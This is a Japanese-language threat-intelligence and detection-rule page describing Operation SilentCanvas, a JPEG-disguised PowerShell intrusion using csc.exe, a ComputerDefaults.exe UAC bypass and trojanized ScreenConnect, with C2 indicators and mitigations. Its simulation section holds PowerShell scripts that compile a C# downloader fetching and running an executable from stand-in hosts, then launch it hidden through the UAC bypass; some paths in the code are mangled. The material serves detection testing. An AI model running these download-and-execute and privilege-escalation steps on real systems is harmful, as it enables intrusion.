SOC Prime Bias: 重大

12 May 2026 15:13 UTC

OPERATION SILENTCANVAS: JPEG ベースのマルチステージPowerShell侵入

Author Photo
SOC Prime Team linkedin icon フォローする
OPERATION SILENTCANVAS: JPEG ベースのマルチステージPowerShell侵入
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

Operation SilentCanvasは、悪意のあるPowerShellペイロードをJPEGファイル名 sysupdate.jpegに隠す高度な多段階の侵入で、そのペイロードはカスタムランチャーを取得してコンパイルし、それを通じて構築された csc.exeを悪用し、 ComputerDefaults.exe を使用してファイルレスUACバイパスを実行し、トロイの木馬化されたConnectWise ScreenConnectサービス名 OneDriveServers をインストールして持続的なリモートアクセスを維持します。マルウェアは、ポート legitserver.theworkpc.com を通じて暗号化された通信チャネルで通信します。 5443 and 8041に加え、防御回避、資格情報の収集、隠密監視にも強い重点が置かれています。

調査

レポートは、JPEGベースのローダー、動的にコンパイルされた uds.exe バイナリ、および変更されたScreenConnectコンポーネントの静的および動的分析をカバーしています。研究者は、AMSIバイパス、リビングオフトゥランドバイナリの悪用、レジストリハイジャック、暗号化通信のためのカスタムキー導出などの複数の攻撃技術を特定しました。インフラストラクチャの分析により、 legitserver.theworkpc.com とIPアドレス 45.138.16.64間のハードコードされたマッピングが明らかになりました。この調査では、詳細な被害者のプロファイリング、ローカルアカウントの操作、隠されたデスクトップアクセスに結びついた機能も明らかになりました。

緩和策

ディフェンダーは、正当なリモート監視および管理ツールに対して厳密なホワイトリストを適用し、 csc.exe, cvtres.exeComputerDefaults.exeの実行を制限または厳密に監視するべきです。監視はまた、疑わしい ms-settings レジストリの変更、PowerShell AMSIバイパスの動作、隠しプロセス作成フラグ、名前を含む承認されていないサービス作成に焦点を当てる必要があります。 OneDriveServers暴露された可能性のあるアカウントはリセットされ、影響を受けたシステムはさらに悪用を防ぐために迅速に隔離されるべきです。

対応策

関連指標が検出された場合、エンドポイントは直ちに隔離され、悪意のある uds.exe プロセスと関連するPowerShellアクティビティは終了され、 OneDriveServers サービスはホストから削除されるべきです。調査者は、コマンドアンドコントロールインフラストラクチャに結びついたレジストリアーティファクト、サービスバイナリ、ネットワークテレメトリを収集し、より深いフォレンジックレビューを行う必要があります。すべての特権資格情報はローテーションされるべきであり、ディフェンダーはこのキャンペーンで文書化された技術に関連した水平移動パターンを監視するべきです。

「グラフTB %% クラス定義 classDefアクションfill:#99ccff classDefツールfill:#ffcc99 classDefマルウェアfill:#ff9999 classDefプロセスfill:#ccccff %% ノード–アクション action_initial_access[“アクションT1566フィッシング添付ファイル: イメージに偽装した悪意のあるファイルsysupdate.jpegをメールで配信します。”] クラスaction_initial_accessアクション action_user_execution[“アクションT1204.002ユーザー実行およびT1059.001PowerShell: 被害者は.jpegをダブルクリックし、埋め込まれたPowerShellを起動します。”] クラスaction_user_executionアクション action_execution[“アクションT1562.001セキュリティツールの無効化(AMSIバイパス)およびT1027難読化: PowerShellスクリプトが検出を回避し、悪意のあるロジックを隠します。”] クラスaction_executionアクション action_dev_utility_abuse[“アクションT1127配信後のコンパイルおよびT1027.004難読化/保存ファイル: スクリプトはC#ソースを埋め込み、csc.exeを使用してカスタムランチャーを作成します。”] クラスaction_dev_utility_abuseアクション action_priv_esc[“アクションT1548.002実行フローのハイジャック: ms-settingsプロトコルとT1218.002コンパイル済みHTMLファイルを使用して、ComputerDefaults.exeを使用したファイルレスUACバイパスを実行します。”] クラスaction_priv_escアクション action_persistence[“アクションT1543.003 Windowsサービス、名はOneDriveServers、およびT1136.001ローカルアカウント: 長期的なアクセスのための隠された管理者アカウントの作成です。”] クラスaction_persistenceアクション action_tool_hijack[“アクションT1553.002署名済みバイナリプロキシ実行: 正当な署名コンポーネントを悪用したトロイ化されたConnectWise ScreenConnectバイナリを展開します。”] クラスaction_tool_hijackアクション action_credential_access[“アクションT1556.001クレデンシャルAPIフックおよびT1056.001入力キャプチャ: ユーザー資格情報を収集するためにクレデンシャルプロバイダーフックとキーロガーをインストールします。”] クラスaction_credential_accessアクション action_collection[“アクションT1113スクリーンキャプチャ, T1125ビデオキャプチャ, T1123オーディオキャプチャ, T1115クリップボードデータ: ビジュアル、オーディオ、クリップボード情報を収集します。”] クラスaction_collectionアクション action_discovery[“アクションT1518ソフトウェア調査, T1010アプリケーションウィンドウ調査, T1082システム情報調査: インストールされたソフトウェア、AV製品、システム情報、アクティブなウィンドウを列挙します。”] クラスaction_discoveryアクション action_c2[“アクションT1573暗号化チャネル: PBKDF2/HMAC-SHA256キーを使用して暗号化されたC2をセットアップし、T1105インフレスツール伝送を介して追加のツールを伝送します。”] クラスaction_c2アクション action_remote_execution[“アクションT1021リモートサービス: ScreenConnectフレームワークを介して被害者上でコマンドを実行します。”] クラスaction_remote_executionアクション action_impact[“アクションT1529システムシャットダウン/再起動: 環境を破壊するためにシステムの再起動やセーフモード再起動をトリガーできます。”] クラスaction_impactアクション %% ノード – ツール / プロセス tool_sysupdate_jpeg[“ツール名前: sysupdate.jpeg
タイプ: 画像に偽装した悪意のある添付ファイル”] クラステール_sysupdate_jpegツール tool_powershell[“ツール名前: PowerShell
タイプ: 実行および難読化に使用されるスクリプトエンジン”] クラステール_powershellツール tool_csc[“ツール名前: csc.exe
タイプ: ホスト上でレバレッジされるC#コンパイラ”] クラステール_cscツール process_computerdefaults[“プロセス名前: ComputerDefaults.exe
説明: ファイルレスUACバイパスのためのプロキシとして使用”] クラスプロセス_computerdefaultsプロセス tool_screenconnect[“ツール名前: ConnectWise ScreenConnect
タイプ: 悪意のあるペイロードで乗っ取られたリモートアクセスソフトウェア”] クラステール_screenconnectツール malware_keylogger[“マルウェア名前: カスタム・キーロガー
目的: キーストロークと資格情報をキャプチャ”] クラスmalware_keyloggerマルウェア %% 接続– 攻撃フロー action_initial_access ->|配信| tool_sysupdate_jpeg tool_sysupdate_jpeg ->|トリガー| action_user_execution action_user_execution ->|実行| tool_powershell tool_powershell ->|実行| action_execution action_execution ->|使用| tool_csc tool_csc ->|作成| action_dev_utility_abuse action_dev_utility_abuse ->|ランチャーを生成| action_priv_esc action_priv_esc ->|呼び出す| process_computerdefaults process_computerdefaults ->|有効にする| action_persistence action_persistence ->|作成| action_tool_hijack action_tool_hijack ->|インストール| tool_screenconnect tool_screenconnect ->|促進| action_credential_access action_credential_access ->|インストール| malware_keylogger malware_keylogger ->|有効にする| action_collection action_collection ->|データを供給| action_c2 action_c2 ->|サポート| action_remote_execution action_remote_execution ->|使用| tool_screenconnect action_remote_execution ->|につながる| action_impact action_discovery ->|情報を提供| action_c2 %% スタイリング クラステール_sysupdate_jpegツール クラステール_powershellツール クラステール_cscツール クラステール_screenconnectツール クラスプロセス_computerdefaultsプロセス クラスmalware_keyloggerマルウェア 」

攻撃の流れ

シミュレーション実行

前提条件: テレメトリとベースラインの事前確認が合格している必要があります。

根拠: このセクションでは、検出ルールをトリガーする敵の技術(TTP)の正確な実行を詳細に説明します。コマンドとナラティブは、特定されたTTPに直接反映され、検出ロジックで期待される正確なテレメトリを生成することを目的とします。抽象的または無関係な例は誤診につながります。

  • 攻撃のナラティブとコマンド:

    1. 初期侵入: アタッカーはエンドポイントで低権限のPowerShellセッションを取得します。
    2. ライブコンパイル: すでに利用可能な csc.exeを使用して、攻撃者はC2サーバーからセカンドステージペイロードを取得するC#ダウンローダをコンパイルします。コンパイルは、親子条件を満たすためにPowerShellプロセスから起動されます。
    3. ファイルレスUACバイパス: 攻撃者は、新しく構築された実行可能ファイルを ComputerDefaults.exeを介して実行し、UACプロンプトを表示せずにサイレントに昇格を要求します。
    4. 昇格後の実行: 昇格されたペイロードは、攻撃者に対してリバースシェルを確立します。
    # ステップ 1 – 悪意のあるC#ソースを準備(インメモリ)
    $csSource = @"
    using System;
    using System.Net;
    using System.Diagnostics;
    public class Downloader {
        public static void Main() {
            using (WebClient wc = new WebClient()) {
                string payloadUrl = "http://malicious.example.com/payload.exe";
                string tempPath = System.IO.Path.Combine($env:TEMP, "payload.exe");
                wc.DownloadFile(payloadUrl, tempPath);
                Process.Start(tempPath);
            }
        }
    }
    "@
    
    $srcPath = "$env:TEMPDownloader.cs"
    $exePath = "$env:TEMPDownloader.exe"
    $csSource | Out-File -FilePath $srcPath -Encoding ASCII
    
    # ステップ 2 – csc.exeを介してコンパイル(親 = PowerShell)
    & "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe" /nologo /t:exe /out:$exePath $srcPath
    
    # ステップ 3 – ComputerDefaults.exeを使用してUACバイパスをトリガー(依然としてPowerShellの子)
    $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe"
    Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden
  • 回帰テストスクリプト: (上記のステップを再現する自己完結型PowerShellスクリプト)

    # -----------------------------------------------------------------
    # ファイル: trigger_csc_uac_bypass.ps1
    # 目的: csc.exe + ComputerDefaults.exe の攻撃チェーンをシミュレート
    # -----------------------------------------------------------------
    
    # TEMPディレクトリに悪意のあるC#ソースを作成
    $src = @"
    using System;
    using System.Net;
    using System.Diagnostics;
    public class Payload {
        public static void Main() {
            using (WebClient wc = new WebClient()) {
                string url = "http://example.com/evil.exe";
                string path = System.IO.Path.Combine($env:TEMP, "evil.exe");
                wc.DownloadFile(url, path);
                Process.Start(path);
            }
        }
    }
    "@
    
    $srcPath = Join-Path $env:TEMP "Payload.cs"
    $exePath = Join-Path $env:TEMP "Payload.exe"
    $src | Out-File -FilePath $srcPath -Encoding ASCII
    
    # このPowerShellプロセスが親となり、csc.exeでコンパイル
    $csc = "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe"
    & $csc /nologo /t:exe /out:$exePath $srcPath
    
    # 静かなUACバイパスを行うためにComputerDefaults.exeで実行
    $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe"
    Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden
  • クリーンアップコマンド:

    # 生成されたアーティファクトを削除
    Remove-Item -Path "$env:TEMPPayload.cs" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPPayload.exe" -Force -ErrorAction SilentlyContinue
    # テストによって開始された残留プロセスをオプションで終了
    Get-Process -Name "evil" -ErrorAction SilentlyContinue | Stop-Process -Force